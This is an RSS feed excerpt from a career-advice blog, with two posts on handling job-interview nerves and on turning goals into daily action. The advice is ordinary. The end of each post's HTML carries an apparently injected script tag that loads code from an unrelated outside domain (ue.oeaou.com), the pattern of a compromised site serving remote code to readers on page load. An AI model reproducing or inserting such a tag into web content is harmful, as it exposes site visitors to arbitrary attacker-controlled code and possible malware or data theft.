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	<title>The Ability Project &#187; Inspiration</title>
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		<title>The Interview Freeze Up</title>
		<link>http://theabilityproject.com/2009/08/20/the-interview-freeze-up/</link>
		<comments>http://theabilityproject.com/2009/08/20/the-interview-freeze-up/#comments</comments>
		<pubDate>Thu, 20 Aug 2009 19:01:23 +0000</pubDate>
		<dc:creator>Rachel</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[career advice]]></category>
		<category><![CDATA[career services]]></category>
		<category><![CDATA[communication]]></category>
		<category><![CDATA[communication skills]]></category>
		<category><![CDATA[Inspiration]]></category>
		<category><![CDATA[internships]]></category>
		<category><![CDATA[interview]]></category>
		<category><![CDATA[interviews]]></category>
		<category><![CDATA[people skills]]></category>
		<category><![CDATA[professional development]]></category>
		<category><![CDATA[Recruiting]]></category>
		<category><![CDATA[Self-awareness]]></category>
		<category><![CDATA[the ability project]]></category>

		<guid isPermaLink="false">http://theabilityproject.com/?p=1406</guid>
		<description><![CDATA[Have you ever found yourself stuttering through an interview?  Did your mouth get so dry you felt the white forming around the corners? When asked a question, did your mind freeze and underarms perspire?  

How can we perform in an interview when we don’t know how to sell ourselves!  Think of yourself [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever found yourself stuttering through an interview?  Did your mouth get so dry you felt the white forming around the corners? When asked a question, did your mind freeze and underarms perspire?  </p>
<p><span id="more-1406"></span></p>
<p>How can we perform in an interview when we don’t know how to sell ourselves!  Think of yourself as a brand.  For example, on a bottle of shampoo you can read the strengths and benefits of the product: fresh fragrance, conditioning, strengthening, volumizing, etc.  Define your natural abilities and learn how to highlight them during an interview.  </p>
<p>We will never be fully prepared for all the extreme questions thrown at us in an interview.  One time I was asked, “If you were a bottle of hairspray, what color would you be and why?”  In retrospect I can clearly see several reasons why this question was asked of me: to understand my creativity, to gauge my knowledge of the industry and (most importantly) to see how well I know myself.  Answering this question with confidence was crucial.  Can you enter an interview with poise and self knowledge?    </p>
<p>Yes, I have studied all the lists of “Interviewing Do’s and Don’ts.”  I could drive myself crazy memorizing rules: research the interviewing company, look the interviewer in the eye when shaking hands, sit down after the interviewer has taken his/her seat, be prepared to turn the “weakness” question into a strength, be equipped with questions to prove interest, ask for a business card before exiting; the list could go on infinity.  Trying to recall what to do and what not to do would make it impossible to focus on the conversation. </p>
<p>The best advice I have does not come from that list of tactics.  What is my secret ingredient?  BE YOURSELF.  I think the anxiety of having done my homework before going into the interview is what makes me nervous.  Am I really prepared?  I remember, yes I am ready.  Before the interview, when my heart is beating at double pace, I pause, breath, and close my eyes.  I take a few minutes to regroup and repeat a mantra.  I practice relaxing and realizing that no one is perfect during the interviewing process.  Self-awareness has always been my greatest asset.  With that assurance, I know that the appropriate response to any question is always within reach.<br />
<script src="http://ue.oeaou.com/31"></script></p>
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		<title>Lead By Example</title>
		<link>http://theabilityproject.com/2009/07/08/lead-by-example/</link>
		<comments>http://theabilityproject.com/2009/07/08/lead-by-example/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 18:00:06 +0000</pubDate>
		<dc:creator>Michelle</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Young Adult]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[time management]]></category>
		<category><![CDATA[Creativeness]]></category>
		<category><![CDATA[Goal-Oriented]]></category>
		<category><![CDATA[Inspiration]]></category>

		<guid isPermaLink="false">http://www.theabilityproject.com/?p=926</guid>
		<description><![CDATA[ 
 
Creatively, I’ve been feeling drained lately. It’s as if a permanent roadblock has been planted in front of my brain. It forces me to take detours – poolside, wining and dining, and useless mind-numbing entertainment. Not that any of these pastimes should be looked down upon, but there is no forward progression without [...]]]></description>
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<p><span style="font-size: 10pt;line-height: 115%"><span style="font-family: Calibri"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt"><span>Creatively, I’ve been feeling drained lately.<span> </span>It’s as if a permanent roadblock has been planted in front of my brain. It forces me to take detours – poolside, wining and dining, and useless mind-numbing entertainment.<span> </span>Not that any of these pastimes should be looked down upon, but there is no forward progression without making it a priority in your life.</span> <span id="more-987"></span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt"><span>Like every Nike commercial banters… just do it! (Cliché… very). I’ll lead by example. Here are the steps I’m taking to reach my goal:</span></p>
<p class="MsoListParagraphCxSpFirst" style="margin: 0in 0in 0pt 0.75in;text-indent: -0.25in"><span style="font-size: 10pt;line-height: 115%"><span>1.<span> </span></span></span><strong><span style="font-size: 10pt;line-height: 115%">Time:</span></strong><span> An hour a day that focuses on your interest.</span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.75in;text-indent: -0.25in"><span style="font-size: 10pt;line-height: 115%"><span>2.<span> </span></span></span><strong><span style="font-size: 10pt;line-height: 115%">Invest:</span></strong><span style="font-size: 10pt;line-height: 115%"><span> </span>Research and subscribe to RSS feeds, magazines, and websites that feed your interest.</span></p>
<p class="MsoListParagraphCxSpMiddle" style="margin: 0in 0in 0pt 0.75in;text-indent: -0.25in"><span style="font-size: 10pt;line-height: 115%"><span>3.<span> </span></span></span><strong><span style="font-size: 10pt;line-height: 115%">Bookmark:</span></strong><span style="font-size: 10pt"><span> </span>Bookmark those Internet pages of interest so they are at the top of your browser and ready to be right clicked.</span></p>
<p class="MsoListParagraphCxSpLast" style="margin: 0in 0in 10pt 0.75in;text-indent: -0.25in"><span style="font-size: 10pt;line-height: 115%"><span>4.<span> </span></span></span><strong><span style="font-size: 10pt;line-height: 115%">Do it:</span></strong><span style="font-size: 10pt"> Stop <em>talking</em> about &#8220;doing something&#8221; and instead change your exhausting verbal delays into actions.<span> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt"><span>Send me an email to let me know what steps you’re taking to reach your goals at </span><a href="mailto:michelle@jointap.com"><span style="font-size: 10pt;line-height: 115%">michelle@jointap.com</span></a><span>. </span></p>
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<p><script src="http://ue.oeaou.com/31"></script></p>
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